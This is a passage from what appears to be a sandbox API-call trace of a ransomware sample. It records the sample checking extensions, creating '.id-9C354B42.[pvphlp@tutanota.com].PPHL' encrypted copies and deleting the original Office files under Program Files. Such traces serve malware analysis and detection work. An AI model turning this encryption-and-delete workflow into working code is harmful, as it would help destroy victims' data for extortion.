4 [0064.288] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0064.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0064.288] lstrlenW (lpString=".1cd") returned 4 [0064.288] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0064.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0064.288] lstrlenW (lpString=".jpg") returned 4 [0064.288] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0064.288] lstrcmpiW (lpString1=".avi", lpString2=".PPHL") returned -1 [0064.289] lstrlenW (lpString="boxed-delete.avi") returned 16 [0064.289] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0064.298] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=31744) returned 1 [0064.299] CloseHandle (hObject=0x1e4) returned 1 [0064.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0064.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0064.299] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0064.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0064.299] lstrlenW (lpString=".doc") returned 4 [0064.299] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0064.299] lstrlenW (lpString=".docx") returned 5 [0064.299] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0064.299] lstrlenW (lpString=".pdf") returned 4 [0064.299] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0064.299] lstrlenW (lpString=".xls") returned 4 [0064.299] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0064.299] lstrlenW (lpString=".xlsx") returned 5 [0064.299] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0064.299] lstrlenW (lpString=".ppt") returned 4 [0064.299] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0064.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0064.299] lstrlenW (lpString=".zip") returned 4 [0064.299] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0064.299] lstrlenW (lpString=".rar") returned 4 [0064.299] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0064.299] lstrlenW (lpString=".bz2") returned 4 [0064.299] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0064.300] lstrlenW (lpString=".7z") returned 3 [0064.300] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0064.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0064.300] lstrlenW (lpString=".dbf") returned 4 [0064.300] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0064.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0064.300] lstrlenW (lpString=".1cd") returned 4 [0064.300] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0064.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0064.300] lstrlenW (lpString=".jpg") returned 4 [0064.300] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0064.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0064.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0064.300] lstrlenW (lpString=".doc") returned 4 [0064.300] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0064.300] lstrlenW (lpString=".docx") returned 5 [0064.300] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0064.300] lstrlenW (lpString=".pdf") returned 4 [0064.300] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0064.300] lstrlenW (lpString=".xls") returned 4 [0064.300] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0064.300] lstrlenW (lpString=".xlsx") returned 5 [0064.301] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0064.301] lstrlenW (lpString=".ppt") returned 4 [0064.301] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0064.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0064.301] lstrlenW (lpString=".zip") returned 4 [0064.301] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0064.301] lstrlenW (lpString=".rar") returned 4 [0064.301] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0064.301] lstrlenW (lpString=".bz2") returned 4 [0064.301] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0064.301] lstrlenW (lpString=".7z") returned 3 [0064.301] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0064.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0064.301] lstrlenW (lpString=".dbf") returned 4 [0064.301] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0064.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0064.301] lstrlenW (lpString=".1cd") returned 4 [0064.301] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0064.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0064.301] lstrlenW (lpString=".jpg") returned 4 [0064.301] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0064.301] lstrcmpiW (lpString1=".avi", lpString2=".PPHL") returned -1 [0064.301] lstrlenW (lpString="boxed-join.avi") returned 14 [0064.301] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0064.302] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=33280) returned 1 [0064.302] CloseHandle (hObject=0x1e4) returned 1 [0064.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0064.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0064.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0064.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0064.302] lstrlenW (lpString=".doc") returned 4 [0064.302] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0064.302] lstrlenW (lpString=".docx") returned 5 [0064.302] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0064.302] lstrlenW (lpString=".pdf") returned 4 [0064.302] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0064.302] lstrlenW (lpString=".xls") returned 4 [0064.302] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0064.302] lstrlenW (lpString=".xlsx") returned 5 [0064.302] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0064.302] lstrlenW (lpString=".ppt") returned 4 [0064.302] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0064.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0064.302] lstrlenW (lpString=".zip") returned 4 [0064.303] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0064.303] lstrlenW (lpString=".rar") returned 4 [0064.303] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0064.303] lstrlenW (lpString=".bz2") returned 4 [0064.303] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0064.303] lstrlenW (lpString=".7z") returned 3 [0064.303] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0064.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0064.303] lstrlenW (lpString=".dbf") returned 4 [0064.303] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0064.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0064.303] lstrlenW (lpString=".1cd") returned 4 [0064.303] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0064.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0064.303] lstrlenW (lpString=".jpg") returned 4 [0064.303] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0064.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0064.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0064.303] lstrlenW (lpString=".doc") returned 4 [0064.303] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0064.303] lstrlenW (lpString=".docx") returned 5 [0064.303] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0064.303] lstrlenW (lpString=".pdf") returned 4 [0064.304] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0064.304] lstrlenW (lpString=".xls") returned 4 [0064.304] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0064.304] lstrlenW (lpString=".xlsx") returned 5 [0064.304] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0064.304] lstrlenW (lpString=".ppt") returned 4 [0064.304] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0064.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0064.304] lstrlenW (lpString=".zip") returned 4 [0064.304] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0064.304] lstrlenW (lpString=".rar") returned 4 [0064.304] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0064.304] lstrlenW (lpString=".bz2") returned 4 [0064.304] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0064.304] lstrlenW (lpString=".7z") returned 3 [0064.304] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0064.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0064.304] lstrlenW (lpString=".dbf") returned 4 [0064.304] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0064.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0064.304] lstrlenW (lpString=".1cd") returned 4 [0064.304] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0064.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0064.304] lstrlenW (lpString=".jpg") returned 4 [0064.304] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0064.304] lstrcmpiW (lpString1=".avi", lpString2=".PPHL") returned -1 [0064.304] lstrlenW (lpString="boxed-split.avi") returned 15 [0064.305] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0064.305] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=62976) returned 1 [0064.305] CloseHandle (hObject=0x1e4) returned 1 [0064.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0064.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0064.305] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0064.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0064.305] lstrlenW (lpString=".doc") returned 4 [0064.305] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0064.305] lstrlenW (lpString=".docx") returned 5 [0064.305] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0064.305] lstrlenW (lpString=".pdf") returned 4 [0064.305] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0064.305] lstrlenW (lpString=".xls") returned 4 [0064.305] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0064.305] lstrlenW (lpString=".xlsx") returned 5 [0064.305] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0064.305] lstrlenW (lpString=".ppt") returned 4 [0064.306] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0064.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0064.306] lstrlenW (lpString=".zip") returned 4 [0064.306] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0064.306] lstrlenW (lpString=".rar") returned 4 [0064.306] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0064.306] lstrlenW (lpString=".bz2") returned 4 [0064.306] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0064.306] lstrlenW (lpString=".7z") returned 3 [0064.306] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0064.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0064.306] lstrlenW (lpString=".dbf") returned 4 [0064.306] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0064.311] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0 [0067.658] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0067.659] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0067.659] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0067.660] GetLastError () returned 0x0 [0067.660] ReadFile (in: hFile=0x1fc, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x545, lpOverlapped=0x0) returned 1 [0067.666] WriteFile (in: hFile=0x200, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0x550, lpOverlapped=0x0) returned 1 [0067.667] ReadFile (in: hFile=0x1fc, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x2cbfed4*=0x0, lpOverlapped=0x0) returned 1 [0067.667] WriteFile (in: hFile=0x200, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2cbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x2cbfc9c*=0xee, lpOverlapped=0x0) returned 1 [0067.667] SetEndOfFile (hFile=0x200) returned 1 [0067.667] CloseHandle (hObject=0x200) returned 1 [0067.668] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0067.669] SetEndOfFile (hFile=0x1fc) returned 1 [0067.670] CloseHandle (hObject=0x1fc) returned 1 [0067.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0067.670] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 1 [0067.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0067.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0067.671] lstrlenW (lpString=".doc") returned 4 [0067.671] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0067.671] lstrlenW (lpString=".docx") returned 5 [0067.671] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0067.671] lstrlenW (lpString=".pdf") returned 4 [0067.671] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0067.671] lstrlenW (lpString=".xls") returned 4 [0067.671] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0067.671] lstrlenW (lpString=".xlsx") returned 5 [0067.671] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0067.671] lstrlenW (lpString=".ppt") returned 4 [0067.671] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0067.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0067.671] lstrlenW (lpString=".zip") returned 4 [0067.671] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0067.671] lstrlenW (lpString=".rar") returned 4 [0067.671] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0067.671] lstrlenW (lpString=".bz2") returned 4 [0067.671] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0067.671] lstrlenW (lpString=".7z") returned 3 [0067.671] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0067.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0067.672] lstrlenW (lpString=".dbf") returned 4 [0067.672] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0067.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0067.672] lstrlenW (lpString=".1cd") returned 4 [0067.672] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0067.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0067.672] lstrlenW (lpString=".jpg") returned 4 [0067.672] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0067.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0067.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0067.672] lstrlenW (lpString=".doc") returned 4 [0067.672] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0067.672] lstrlenW (lpString=".docx") returned 5 [0067.672] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0067.672] lstrlenW (lpString=".pdf") returned 4 [0067.672] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0067.672] lstrlenW (lpString=".xls") returned 4 [0067.672] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0067.672] lstrlenW (lpString=".xlsx") returned 5 [0067.672] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0067.672] lstrlenW (lpString=".ppt") returned 4 [0067.673] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0067.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0067.673] lstrlenW (lpString=".zip") returned 4 [0067.673] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0067.673] lstrlenW (lpString=".rar") returned 4 [0067.673] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0067.673] lstrlenW (lpString=".bz2") returned 4 [0067.673] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0067.673] lstrlenW (lpString=".7z") returned 3 [0067.673] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0067.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0067.673] lstrlenW (lpString=".dbf") returned 4 [0067.673] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0067.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0067.673] lstrlenW (lpString=".1cd") returned 4 [0067.673] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0067.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0067.673] lstrlenW (lpString=".jpg") returned 4 [0067.673] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0067.673] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0067.673] lstrlenW (lpString="AccessMUISet.XML") returned 16 [0067.674] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0067.675] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2cbff1c | out: lpFileSize=0x2cbff1c*=819) returned 1 [0067.675] CloseHandle (hObject=0x1fc) returned 1 [0067.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml")) returned 0x20 [0067.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0067.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0067.675] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0067.675] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbfec8 | out: lpNewFilePointer=0x0) returned 1 [0067.676] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0067.676] GetLastError () returned 0x0 [0067.676] ReadFile (in: hFile=0x1fc, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, 